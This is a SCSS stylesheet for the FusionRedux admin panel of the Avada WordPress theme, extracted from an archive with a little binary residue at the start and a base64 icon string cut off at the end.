ifݏ%ifѵH<offenf宪}Ssb6]^"]R̽OE ]w__Xa&;nB -B -B -B -B.-=:,zrA>TD8R|]|x )[!IENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/fusionredux-admin.scss000064400000132721152342437710025563 0ustar00.spinner { visibility: hidden; display: block; } .spinner.is-active{ visibility: visible; } .fusionredux-main .description { margin-top: 7px; } .form-table > tbody > tr > th { width: 30% } .fusionredux-container { //font-family: "Open Sans","Lucida Grande", Sans-serif; background-color: #f5f5f5; /* Old browsers */ background-repeat: repeat-x; /* Repeat the gradient */ background-image: -moz-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* FF3.6+ */ background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #f2f2f2), color-stop(100%, #f5f5f5)); /* Chrome,Safari4+ */ background-image: -webkit-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* Chrome 10+,Safari 5.1+ */ background-image: -ms-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* IE10+ */ background-image: -o-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* Opera 11.10+ */ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#eeeeee', GradientType=0); /* IE6-9 */ background-image: -linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* W3C */ border: 1px solid #dedede; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); -moz-box-shadow: 0 1px 5px rgba(0, 0, 0, 0.4); margin-top: 5px; overflow: hidden; a { &:focus { box-shadow: none; } } #fusionredux-header, #fusionredux-footer { text-align: right; padding: 6px 10px; } #fusionredux-header { background: #f1f1f1; border-bottom: 3px solid blue; .display_header { float: left; margin: 20px 10px; h2 { display: inline-block; font-style: normal; padding-right: 5px; } .fusionredux-dev-mode-notice-container { position: absolute; top: 67px; left: 20px; bottom: auto; width: auto; } span { color: #888; &.fusionredux-dev-mode-notice { //position: absolute; background-color: #f0ad4e; display: inline; padding: .2em .5em .2em; font-weight: 700; line-height: 1; color: #fff !important; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } } } .icon32 { float: right; margin: 16px 16px 0; } } #fusionredux-footer { border-top: 1px solid #E7E7E7; z-index: 999; #fusionredux-share { float: left; line-height: 28px; font-size: 15px; a { text-decoration: none; margin-right: 10px; img { margin-bottom: -3px; } } } } .notice-green { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #DFF0D8; color: #468847; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-blue { margin: 0; border-bottom: 1px solid #BCE8F1; background-color: #D9EDF7; color: #3A87AD; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-yellow { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #FCF8E3; color: #C09853; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-red, .fusionredux-field-errors { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #F2DEDE; color: #B94A48; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .fusionredux-field-error { input, textarea, checkbox { background-color: #FFF6F6; color: #A00; } } .fusionredux-field-warning { input, textarea, checkbox { background-color: #fcf8e3; color: #444; } } .fusionredux-field-errors, .fusionredux-field-warnings, .fusionredux-save-warn { display: none; } .sticky-save-warn { min-height: 76px; .fusionredux-save-warn { position: fixed; top: 32px; right: 21px; left: 183px; opacity: 1; z-index: 9999; } } #info_bar { background: #f3f3f3; border-bottom: 1px solid #dedede; padding: 6px 10px 6px 6px; text-align: right; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; } .fusionredux-group-tab { display: none; margin-bottom: 15px; .fusionredux-theme-data { padding: 20px 0; border-top: 1px solid #E7E7E7; &.theme-description { padding: 10px 0; border-width: 0; } &.theme-uri, &.theme-author, &.theme-version { padding: 0; border-width: 0; } } h3 { margin-top: 0; line-height: 2em; border-bottom: 1px solid #E7E7E7; } .fusionredux-section-desc { margin-bottom: 15px; color: #666; } } .fusionredux-action_bar { float: right; .spinner { float: left; margin-top: 4px; } } .fusionredux-ajax-loading { display: none; background: red url(data:image/gif;base64,R0lGODlhEAAQAPUAAIiIiIqKio2NjZSUlJqamp6enqKioqSkpK+vr7i4uL+/v8PDw8XFxcnJyc/Pz9HR0dTU1NjY2Nzc3OLi4ubm5unp6ezs7PPz88vLy83NzdDQ0NXV1d3d3eHh4bu7u8zMzOvr6+3t7ZiYmNbW1sDAwMTExNra2s7OztPT09vb2+Xl5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/i1NYWRlIGJ5IEtyYXNpbWlyYSBOZWpjaGV2YSAod3d3LmxvYWRpbmZvLm5ldCkAIfkEAAoA/wAsAAAAABAAEAAABXDgJY6XZZEoOTnOlI5WdUFNA5UnSR3FJNUSieFAIUUEgcdl4noEBBGSZaHIiSqKhTX2GhVFiQGjuxgkSoYAoosAGE6RhKQrUURHlS+pItMVCHMjEgQ9JBJISg+JT3ciFg4NFkcCNw0OViiDgF0oTC8hACH5BAAKAP8ALAAAAAAQABAAAAVx4CWOZGle1qJYp2hV1xYE29V1JXUYHWUcnQgGwyFFBAENiqUZ1kapFamTyeBcsNOLMkoMGC3GIIEyBBAtRMDAiiSKp04iQqpwc9kRpUCAizgEBVciEQNJFxpKGgECdFAYYBsCAjUMGS0XgAODmDacIyEAIfkEAAoA/wAsAAAAABAAEAAABnbAi3BILBovIMUidBSGQJdNIKBBMomUg6FDMRgoHcOBQowIqNaLJiCIEEMLxdWpnIfITRAHnxgwjiEfDR8UIQYBCEcgDYwdUR6ORxEfG3MgeFiFRB0FBBxEHAQFkUJmaBofamxuRB9/GwICGxeMTRehnrabpERBACH5BAAKAP8ALAAAAAAQABAAAAZ9wItwSCwaL5aFwnIUWiqXUSAwulSYRMrB0KEYDJSO4UAhRgQBDZLpCAgixOSSWFEssEho81IWJgYMTQwDCUgGAQhNCAEGTCMJHU0dCXBDFX1DFhwdeHwFIhxmGBihQxEDaRcOGhYao1WZGIFnAiMUDg6YRR0ioE57Fx2RRkEAIfkEAAoA/wAsAAAAABAAEAAABXLgJY5kaV7WolinaLGQEEBXxZLUUUyUYVATw4FCisg0NZYmIIiQUosKqaJY3FDS1oUoSgwYrcUggTIAEC1EwMCKJCatSYI2qnBx2dGkQOCQOAQFdxdGARoVGhCITE4kGBgWEI8QFgwYWhGTWiMWERFXIyEAIfkEAAoA/wAsAAAAABAAEAAABn/Ai3BILBovloXCchRaKpdRIDC6VJhEysHQoRgMlI7hQCFGBAENkukICCLE5JJYUSywSGjzUhYmBgxNDAMJSAYBCE0IAAZMEQkdTRwKVUMcHHhCFXpDERgYcJYEBZFDI58aFhoOFxpuoUIUGhoUZwJVGA6ZaxccBAQce0QdpUVBACH5BAAKAP8ALAAAAAAQABAAAAZ8wItwSCwaLyEFKXQUhioXSCAAuVSYRMrB0KEYDJSO4UAhmgQBDZKpCQhMxFBJgRVWlFkOtElhUj4NH3VEJQMJFx0NintFCAEGISEQH3BHHR5VThVlRRSMQh0FBBxEHAQFnEJnaRcfHxdtb0WKIWcCVSUNTYgEo7tEHR1HQQAh+QQACgD/ACwAAAAAEAAQAAAGdcCLcEgsGi8hhSJ0FHY6l1EgMLqAmEROo5HqGAwqL5g42qKsoAsqIEgRVacTdAhSLLBI1bWpwiYGDE0MAwlIBgEITQgBBkwjCRxNHQlVdCpGekUqBQSRQxwEBZdDKQIBZ3FqbG5EDYEjpikhW3hFoJ1NRU9HQQA7) no-repeat; width: 16px; height: 16px; margin: 3px 4px 0; float: right; } #fusionredux-intro-text { background: #f3f3f3; border-bottom: 1px solid #dedede; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; padding: 3px; padding: 10px 10px; p { margin: 0; // font-family: "Lucida Grande", Sans-serif; color: #888; } } .expand_options { cursor: pointer; display: block; height: 22px; width: 21px; float: left; font-size: 0; text-indent: -9999px; margin: 1px 0 0 5px; border: 1px solid #bbb; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -26px; &.expanded { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -1px } &:hover { border-color: #888; } } .sticky-footer-fixed { background: #f3f3f3; border-top: 1px solid #dedede !important; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; } .fusionredux-sidebar, .fusionredux-main { min-height: 300px; } } /* fusionredux-container */ .no-js { border: 1px solid #ffbaba; margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #F2DEDE; color: #B94A48; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .fusionredux-main { background: #FCFCFC; margin-left: 201px; border-left: 1px solid #D8D8D8; padding: 10px 20px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #FFF; box-shadow: inset 0 1px 0 #FFF; position: relative; #fusionredux_ajax_overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; -moz-opacity: 0.10; -khtml-opacity: 0.10; opacity: 0.10; filter: progid:DXImageTransform.Microsoft.Alpha(opacity=10); filter: alpha(opacity=10); background: #000; z-index: 200; display: none; } .form-table.no-border { border-top: none; } .form-table tr { border-bottom: 1px solid #E7E7E7; &:last-child { border-bottom: none !important; } th, td { color: #333; } } .form-table tr td { table.mceLayout, table.mceLayout tr, table.mceLayout tr td { padding: 0; border-width: 0; } .fusionredux-th-warning { font-size: 1em; color: #C09853; font-weight: normal; display: block; margin-top: 10px; } .fusionredux-field-warning { border-color: #C09853; margin-top: 10px; } .fusionredux-th-error { font-size: 1em; color: #B94A48; font-weight: normal; display: block; margin-top: 10px; } } input.large-text { width: 100%; } .hide { display: none; } .fusionredux-field-container { padding: 20px 0; } .mini, input[type=text].mini { width: 60px; text-align: center; } input { line-height: 19px; } img { max-width: 100%; height: auto; width: auto !important; } .select3-default { width: auto !important; } .showDefaults { display: block; font-weight: normal; font-size: .8em; color: #888; } span.description { display: block; font-style: normal; font-weight: 400; line-height: 1.5; } #fusionredux-system-info textarea { min-height: 730px; width: 100%; } .field-desc { clear: both; font-size: 13px; } .data-full li { width: 100%; } .data-half li { width: 50%; float: left; } .data-third li { width: 33.3%; float: left; } .data-quarter li { width: 25%; float: left; } .ui-helper-hidden-accessible { top: inherit; } .form-table:first-child > tr th, .fusionredux-main .form-table:first-child > tr td { //padding-top: 0 !important; } .form-table { clear: none; margin-top: 0px !important; &:first-child tr th, &:first-child tr td { // padding-top: 0 !important; } tr:first-child th, tr:first-child td { padding-top: 0; } } .input-append input { border-right: 0; margin-bottom: 0; border-top-right-radius: 0; border-bottom-right-radius: 0; margin-right: 0; float: left; margin-top: 0; display: block; } .input-append .add-on { border-top-right-radius: 3px; border-bottom-right-radius: 3px; margin-left: -2px; padding-top: 4px !important; padding-bottom: 2px !important; //float: left; } .input-prepend input { border-left: 0; margin-bottom: 0; border-top-left-radius: 0; border-bottom-left-radius: 0; margin-left: 0; padding-top: 2px; padding-bottom: 5px; float: left; margin-top: 0; display: block; } .input-prepend .add-on { border-top-left-radius: 3px; border-bottom-left-radius: 3px; float: left; } .input-append { margin-right: 10px; font-size: 0; white-space: nowrap; float: left; display: inline-block; margin-bottom: 6px; } .input-append .add-on, .input-prepend .add-on { width: auto; display: inline-block; min-width: 16px; padding: 3px 4px; font-size: 12px; font-weight: 400; line-height: 20px; text-align: center; text-shadow: 0 1px 0 #ffffff; background-color: #eeeeee; border: 1px solid #cccccc; } .input-prepend { font-size: 0; white-space: nowrap; float: left; display: inline-block; margin-bottom: 6px; } } /* main */ .fusionredux-sidebar { width: 202px; float: left; .fusionredux-group-menu { margin-top: 0 !important; li { margin-top: 0; &.active a, &.active a:hover, &.activeChild a, &.activeChild a:hover { background: #FCFCFC; color: #269ad6; width: 184px; opacity: 1; //margin-right:-2px; } &.active a li a { background: #333; padding-left: 5px; } &.divide { padding: 0; border-width: 1px 0; border-style: solid; border-bottom-color: #E7E7E7; border-top-color: #F9F9F9; } a:first-child { border-top: none; } a { display: block; padding: 10px 4px 10px 14px; background: #e0e0e0; background: transparent; border-width: 1px 0; border-style: solid; border-bottom-color: #E7E7E7; border-top-color: #F9F9F9; opacity: 0.7; color: #555; font-weight: 600; text-decoration: none; -webkit-transition: none; transition: none; &.custom-tab { background: #f6f6f6; } img { width: 16px; height: 16px; // vertical-align:middle; // margin-bottom:-3px; // margin-right: 3px; position: absolute; left: 15px; } &:hover { background: #e5e5e5; //width: 184px color: #777; //margin-right: -2px; opacity: 1; } } } } .fusionredux-menu-warning, .fusionredux-menu-error, .hasSubSections .extraIconSubsections { display: inline-block; float: right; padding: 6px 7px 4px 7px; margin-left: 4px; // font-family: sans-serif; font-size: 9px; font-weight: 600; line-height: 9px; border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border: 0 solid transparent; //margin-right: 5px; i { margin-left: -3px; margin-top: -3px; } } .fusionredux-menu-error { background-color: rgb(185, 74, 72); color: rgb(242, 222, 222); } .fusionredux-menu-warning { background-color: #C09853; color: #FCF8E3; } ul { .subsection { display: none; } } .fusionredux-group-tab-link-a { position: relative; outline: 0; i { vertical-align: middle; font-size: 1.35em; position: absolute; } span { display: block; &.group_title { padding-left: 30px; } } } .fusionredux-group-tab-link-li a.hasError span.group_title { padding-right: 25px; } #fusionredux-header { text-align: center; .display_header { float: none; } } } /* sidebar */ .form-table th, .form-table td { margin: 0; padding: 0; width: auto; } .fusionredux_field_th { font-weight: 600; // width: 30%; padding: 20px 10px 20px 0px; display: block; span:first-child { font-weight: normal; display: block; color: #666; } } /* * * NHP_Options_color * */ .farb-popup-wrapper { position: relative; display: block; } .farb-popup { position: absolute; left: 40px; top: 40px; background-color: white; border: 1px solid #222; padding: 5px; z-index: 100; } #ui-datepicker-div { display: none; } .mp6 { .icon-themes { display: none; } .fusionredux-container { #info_bar { padding: 6px 10px 6px 6px; a { margin-top: 2px; } } } } .fusionredux-timer { text-align: center; font-size: 10px; color: #888; } .wrap { margin-top: 0; } @media screen and (max-width: 600px) { .fusionredux-sidebar { width: 44px; .extraIconSubsections { display: none !important; } .fusionredux-group-menu li a, .fusionredux-group-menu li a:hover, .fusionredux-group-menu li.active a, .fusionredux-group-menu li.active a:hover, .fusionredux-group-menu li.activeChild a, .fusionredux-group-menu li.activeChild a:hover { width: auto; } .fusionredux-group-tab-link-a { position: relative; i { position: inherit; } span { display: none; position: absolute; top: 0; left: 44px; padding: 12px; width: 200px; background: #eeeeee; border: 1px solid #ccc; -webkit-box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); -moz-box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); border-width: 1px 1px 1px 0px; z-index: 3; } &:hover > span { display: block; } } } .fusionredux-main { margin-left: 43px; width: auto; max-width: 100%; } table.form-table, .form-table > thead, .form-table > tbody, .form-table > tbody > tr > th, .form-table > tbody > tr > td, .form-table > tbody > tr { display: block; width: 100% !important; padding: 0px !important; } .form-table > tbody > tr > th, .form-table > tbody > tr > td { padding: 10px !important; } .form-table > tbody > tr > th, .form-table > tbody > tr > td { padding: 10px !important; } } //mp6 fixes @media screen and (max-width: 782px) { .form-table>tbody>tr>th { width: 100%; } .fusionredux_field_th { padding-bottom:0; } .mp6 { .fusionredux-container { #info_bar { height: auto; padding-bottom: 1px; a { margin-top: 5px; } } } } .fusionredux-container-switch label { padding: 5px 10px !important; } .fusionredux-container-button_set label { padding: 12px 10px; } .fusionredux-container #fusionredux-footer #fusionredux-share { line-height: 34px; } } pre { overflow: hidden; } /* Default admin theme */ #fusionredux-header h2 { color: #fff; } @mixin backgroundGradient($to: darken($to, 5%), $from: lighten($to, 7%)) { background-color: $to !important; background-image: -khtml-gradient(linear, left top, left bottom, from($from), to($to)) !important; background-image: -moz-linear-gradient(top, $from, $to) !important; background-image: -ms-linear-gradient(top, $from, $to) !important; background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, $from), color-stop(100%, $to)) !important; background-image: -webkit-linear-gradient(top, $from, $to) !important; background-image: -o-linear-gradient(top, $from, $to) !important; background-image: -linear-gradient(top, $from, $to) !important; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{$from}', endColorstr='#{$to}', GradientType=0) !important; } @mixin adminThemeColorOverrides($darkColor, $accentColor, $secondaryColor, $buttonPrimary) { .button.ui-datepicker-current, button.ui-datepicker-close { background-color: lighten($accentColor, 3%) !important; } .ui-datepicker-buttonpane button.ui-datepicker-current { background: $buttonPrimary !important; color: white !important; border: 1px solid darken($buttonPrimary, 20%) !important; } .ui-datepicker-header .ui-icon { background-image: url(data:image/png;base64,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